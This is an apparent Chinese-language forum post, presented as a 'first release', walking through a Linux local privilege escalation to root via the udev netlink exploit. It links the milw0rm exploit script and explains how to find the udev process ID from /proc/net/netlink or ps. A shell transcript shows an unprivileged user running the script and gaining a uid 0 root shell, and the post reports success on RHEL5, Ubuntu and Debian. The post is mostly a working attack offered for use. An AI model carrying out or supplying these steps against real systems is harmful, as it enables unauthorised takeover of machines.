LINUX 普通使用者提權ROOT (完整版)SHELL版首發!!!

1. 在LINUX目錄下建立test 帳戶
2.下載 a指令碼 在http://milw0rm.com/exploits/8478


3.查看UDEV的PID  方法一: 先cat /proc/net/netlink
ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2
ffff810037f81000 16  0      00000000 0        0        0000000000000000 2
ffff810077078400 18  0      00000000 0        0        0000000000000000 2
那個364就是 UDEV的進程,如果出現很多不知道哪一個用方法2
方法二:
另外最好通過ps aux | grep udev擷取pid 為365，然後再-1，把這個參數傳給A指令碼
然後在test 使用者的目前的目錄 裡
按以下步驟運行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh a 364
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此時的UID 變為0了 ,test使用者已經變為 ROOT使用者 可以繼續以下
sh-3.1# bash
[root@localhost ~]#
看!test -> ROOT 使用者大變身!!

說說我的測試版本[root@localhost ~]# uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux

目前RH5 和UBANTU 以及DABIAN都測試通過了 但是TURBOLINUX上沒有測試通過..